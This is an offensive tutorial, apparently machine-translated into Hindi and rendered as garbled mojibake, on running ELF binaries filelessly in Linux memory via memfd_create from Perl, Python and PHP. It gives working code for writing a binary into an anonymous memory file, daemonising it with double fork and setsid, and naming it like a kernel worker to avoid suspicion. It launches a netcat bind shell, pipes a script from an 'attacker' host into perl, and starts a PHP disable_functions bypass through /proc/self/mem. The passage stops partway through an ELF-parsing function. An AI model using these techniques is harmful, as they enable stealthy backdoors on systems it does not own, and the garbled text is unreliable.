рдмрдВрдж рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рд╣рдо рдЕрдкрдиреЗ рдИрдПрд▓рдПрдл рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд execve() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ


рдЪреВрдБрдХрд┐ рд╣рдо рдкрд░реНрд▓ рднрд╛рд╖рд╛ рдХреЗ syscall() рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ, рд╣рдореЗрдВ рдЕрдкрдиреЗ syscall рдФрд░ рдЗрд╕рдХреЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред
рдЖрдк рдЙрдиреНрд╣реЗрдВ /usr/include рдХрд░ рд╕рдХрддреЗ /usr/include рдпрд╛ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ /usr/include рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдирдВрдмрд░ #define рдореЗрдВ __NR_ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ
рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, memfd_create() 64-рдмрд┐рдЯ OS рдХреЗ рд▓рд┐рдП 319 рдирдВрдмрд░ рдкрд░ рд╣реИред рдФрд░ рдирд┐рд░рдВрддрд░ FD_CLOSEXEC 0x0001U (рдЬреЛ рдХрд┐ linux/memfd.h рдореЗрдВ 1 рд╣реИ)


рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдореВрд▓реНрдп рд╣реИрдВ, рдФрд░ рд╣рдо рд╕реА рд╕реЗ рдкрд░реНрд▓ рдореЗрдВ memfd_create(name, MFD_CLOEXEC) рдХрд╛ рдПрдХ рдПрдирд╛рд▓реЙрдЧ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред
рд╣рдореЗрдВ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рд╕рд╛рде рдЖрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬреЛ /memfd: рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ /memfd:
рдпрд╣ [:kworker] рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдХреЗ рд╕рдорд╛рди рдирд╛рдо рдЪреБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╖реНрдЯрддрдо рд╣реЛрдЧрд╛, рд╕рдВрджреЗрд╣ рдкреИрджрд╛ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдирд╛рдо рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рд░рд┐рдХреНрдд рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗ:


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ $ fd рдореЗрдВ рдЕрдирд╛рдо рдлрд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рд╣реИ рдФрд░ рд╣рдореЗрдВ рдЗрд╕ рдлрд╛рдЗрд▓ рдореЗрдВ ELF рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред
рдкрд░реНрд▓ рдореЗрдВ рдЦреБрд▓рд╛ () рдлрд╝рдВрдХреНрд╢рди рдЖрдорддреМрд░ рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди >&=FD рдирд┐рд░реНрдорд╛рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рдмрдЬрд╛рдп рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЛ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП, рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рдЦреБрд▓реЗ рдлрд╝рд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХреЛ рдлрд╝рд╛рдЗрд▓ рд╣реИрдВрдбрд▓ рдореЗрдВ рдмрджрд▓ рджреЗрддреЗ рд╣реИрдВред
autoflush[] рднреА autoflush[] рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛:


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рд╣реИрдВрдбрд▓ рд╣реИ рдЬреЛ рдПрдХ рдЕрдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред


рдЕрдЧрд▓рд╛, рд╣рдореЗрдВ рдЕрдкрдиреА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдбреЗрдЯрд╛ рдореЗрдВ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдкрд░реНрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╢рд░реАрд░ рдореЗрдВ рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдкреНрд░рджрд░реНрд╢рди рдХрд░рддреЗ рд╣реИрдВ:


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

рд╣рдореЗрдВ рдХрдИ, рдХрдИ рд╕рдорд╛рди рд░реЗрдЦрд╛рдПрдБ рдорд┐рд▓рддреА рд╣реИрдВ:


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

рдЙрдиреНрд╣реЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЕрдкрдиреА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдбрд╛рд▓ рджреЗрдВрдЧреЗред рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЬреЛ рдХреБрдЫ рднреА рд╣реИ рд╡рд╣ рдЗрд╕реЗ рд▓реЙрдиреНрдЪ рдХрд░рдирд╛ рд╣реИред


рдХрд╛рдВрдЯрд╛ ()


рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рд╣рдо рдХрд╛рдВрдЯрд╛ () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдмрд┐рд▓реНрдХреБрд▓ рднреА рдЬрд░реВрд░реА рдирд╣реАрдВ рд╣реИред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рд╣рдо рдХреЗрд╡рд▓ рдИрдПрд▓рдПрдл рдХреЛ рдирд╣реАрдВ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрдВ fork() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдкрд░реНрд▓ рдореЗрдВ рдПрдХ рдмрд╛рд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

fork() рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдЗрд╕ рддрдереНрдп рдореЗрдВ рднреА fork() рд╣реИ рдХрд┐ рдЗрд╕реЗ рд╕реЗрдЯрд┐рдб (2) рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдХреЗ, рдЖрдк рдмрдЪреНрдЪреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдореВрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЕрд▓рдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

рдЕрдм рд╣рдо рдХрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдИрдПрд▓рдПрдл рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред


рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ ()


Execve () рдПрдХ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдкрд░реНрд▓ рд╣рдореЗрдВ Exec () рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдорд╛рди рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрд░реЛрдХреНрдд рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреА рддрд░рд╣ рд╣реА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдореЗрдВ рдмрд╣реБрдд рд╕рд░рд▓ рдФрд░ рдЕрдзрд┐рдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╡рд╛рдХреНрдпрд╡рд┐рдиреНрдпрд╛рд╕ рд╣реИред
рд╣рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рдЪреАрдЬреЛрдВ рдХреЛ рдкрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ exec() : рд╡рд╣ рдлрд╝рд╛рдЗрд▓ рдЬрд┐рд╕реЗ рд╣рдо рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ (рд╣рдорд╛рд░реА рдкрд╣рд▓реЗ рд╕реЗ рд▓реЛрдб рдХреА рдЧрдИ рдИрдПрд▓рдПрдл рдореЗрдореЛрд░реА), рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдирд╛рдо рдкрд╛рд░рд┐рдд рддрд░реНрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рдЖрдорддреМрд░ рдкрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдирд╛рдо рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЗ рдирд╛рдо рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЬрдм рд╕реЗ рд╣рдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реВрдЪреА рдореЗрдВ /proc/PID/fd/3 рджреЗрдЦреЗрдВрдЧреЗ, рд╣рдо рдЕрдкрдиреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреБрдЫ рдФрд░ рдХрд╣реЗрдВрдЧреЗред
exec() рд▓рд┐рдП рд╡рд╛рдХреНрдпрд╡рд┐рдиреНрдпрд╛рд╕ exec() рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ:


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

рдКрдкрд░ рдХрд╛ рдЙрджрд╛рд╣рд░рдг Netcat рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рд╣рдо рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреА рддрд░рд╣ рдХреБрдЫ рдХрдо рд▓реЙрдиреНрдЪ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗред
рдЪрд▓ рд░рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ /proc/PID/fd рдореЗрдВ рдЕрдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдХрд╛ рд▓рд┐рдВрдХ рдирд╣реАрдВ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рд╣рдо рд╣рдореЗрд╢рд╛ рд▓рд┐рдВрдХ /proc/PID/exe рдкрд░ рдЕрдкрдирд╛ ELF рдвреВрдБрдв рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЪрд▓ рд░рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП рд╣рдордиреЗ рдбрд┐рд╕реНрдХ рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЫреВрдиреЗ рдХреЗ рдмрд┐рдирд╛, рд▓рд┐рдирдХреНрд╕ рдореЗрдореЛрд░реА рдореЗрдВ рдИрдПрд▓рдПрдл рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ред
рд╣рдорд╛рд░реА рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЬрд▓реНрджреА рдФрд░ рдЖрд╕рд╛рдиреА рд╕реЗ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд░реНрд▓ рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рдХреЛ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд╛рд╕ рдХрд░рдХреЗ, рдЬрд┐рд╕рдХреЗ рд╢рд░реАрд░ рдореЗрдВ рд╣рдордиреЗ рдИрдПрд▓рдПрдл рд░рдЦрд╛ рдФрд░ рдЗрд╕реЗ рдПрдХ рдмрд╛рд╣рд░реА рд╡реЗрдм рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рдкрд░ рд░рдЦрд╛: $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


рдЕрдЬрдЧрд░


рдкрд░реНрд▓ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рдорд╛рди, рд╣рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:


  • memfd_create () рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╕реНрдореГрддрд┐ рдореЗрдВ рдПрдХ рдЕрдирд╛рдо рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ
  • рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп ELF рд▓рд┐рдЦреЗрдВ
  • рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдФрд░ рдХрд╛рдВрдЯреЗ рдХреЗ рд╕рд╛рде рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдХрдИ рдмрд╛рд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ ()

 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

рдЕрдЬрдЧрд░ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, syscall рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рд┐рдЦрдиреЗ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдирдХ рдореЙрдбреНрдпреВрд▓ ctypes рдФрд░ os рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╕рдм рдХреБрдЫ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдкрд░реНрд▓ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред
рдЙрдкрд░реЛрдХреНрдд рдХреЛрдб рдореЗрдВ, рд╣рдо рдкрд╣рд▓реЗ /tmp/ рдореЗрдВ рд╕реНрдерд┐рдд рдПрдХ рдлрд╛рдЗрд▓ рдХреЛ рдлрд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреБрдЫ рднреА рд╣рдореЗрдВ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред


рдкреАрдПрдЪрдкреА


рдЗрд╕ рд╕реНрддрд░ рдкрд░, рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкрд░реНрд▓ рдФрд░ рдЕрдЬрдЧрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХрдИ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЗрди рднрд╛рд╖рд╛рдУрдВ рдХреЗ рдЗрдВрдЯрд░рдкреНрд░рд┐рдЯрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк, рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣, рдЖрдЧреЗ рд╣реИред
рдпрджрд┐, рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ, рдкрд░реНрд▓ рдпрд╛ рдЕрдЬрдЧрд░ рд╡реНрдпрд╛рдЦреНрдпрд╛рдХрд╛рд░ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИрдВ, рддреЛ PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рднрд╛рд╖рд╛ рд╡реЗрдм рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдмреАрдЪ рдмрд╣реБрдд рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реИред рдФрд░ рдЕрдЧрд░ рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХрд┐рд╕реА рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЙрдЪреНрдЪ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рд╕рд╛рде рд╣реИ рдХрд┐ PHP рджреБрднрд╛рд╖рд┐рдпрд╛ рд╣рдорд╕реЗ рдорд┐рд▓реЗрдВрдЧреЗред


рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, php рдореЗрдВ syscall рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реИред
рд╣рдо рдмреАрдбтАЩрдХрд╛ рд╕реЗ рдПрдХ рдкреЛрд╕реНрдЯ рдкрд░ рдЖрд░реЙрдЯреЗрдб рдлреЛрд░рдо (рдереИрдВрдХреНрд╕ рдмреАрдЪреНрдб!) рдкрд░ рдЖрдП, рдЬреЛ рдореМрдЬреВрджрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдпрд╛рдж рдореЗрдВ procfs /proc/self/mem рдорд╛рдзреНрдпрдо рд╕реЗ system рдХреЛ open рдлрдВрдХреНрд╢рди рдХреА рдХреЙрд▓ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ disable_unctions рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред
рд╣рдордиреЗ рдЕрдкрдиреЗ рдХреЛрдб рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЯреНрд░рд┐рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛, рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рдХрд╛рд░рдг рдмрдиреЗрдЧрд╛ред
рд╣рдо рдЕрд╕реЗрдВрдмрд▓рд░ рдкрд░ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд░реВрдк рдореЗрдВ php рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП syscall рдкрд╛рд╕ рдХрд░реЗрдВрдЧреЗред
рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреЛ рдХрдорд╛рдВрдб рдХреЗ рдПрдХ рдЕрдиреБрдХреНрд░рдо рд╕реЗ рдЧреБрдЬрд░рдирд╛ рд╣реЛрдЧрд╛ред
рдЖрдЗрдП PHP рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦрдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВред рдЖрдЧреЗ рдмрд╣реБрдд рдЬрд╛рджреВ рд╣реЛрдЧрд╛ред


рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рдЖрд╡рд╢реНрдпрдХ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдирд┐рд░реВрдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

рдмрджрд▓рд╛рд╡ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ - рд╕реНрдореГрддрд┐ рдореЗрдВ рдКрдкрд░реА рдФрд░ рдирд┐рдЪрд▓реЗ рдорд╛рди, рдЬрд╣рд╛рдВ рд╣рдо рдмрд╛рдж рдореЗрдВ рдЕрдкрдирд╛ рд╢реЗрд▓рдХреЛрдб рд░рдЦреЗрдВрдЧреЗ:


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

рдЕрдЧрд▓рд╛ рд╡рд╣ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬрд┐рд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ "рдЕрдирдкреИрдХреНрдб" рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рджреНрд╡рд┐рдЖрдзрд╛рд░реА рдбреЗрдЯрд╛ рдХреЛ рд╣реЗрдХреНрд╕рдбреЗрдХреНрд╕ () рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдЗрдирд░реАрд╣реИрдХреНрд╕ () рдмрд╛рдЗрдирд░реА рдбреЗрдЯрд╛ рд╕реЗ рд░рд┐рд╡рд░реНрд╕ рдСрд░реНрдбрд░ (рд╕реНрдЯреЛрд░реЗрдЬ рдХреЗ рд▓рд┐рдП) рдореЗрдВ рдмрджрд▓ рджреЗрддреЗ рд╣реИрдВ:


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

рдЕрдЧрд▓рд╛, ELF рдлрд╝рд╛рдЗрд▓ рдХреЛ рдСрдлрд╝рд╕реЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛рд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); 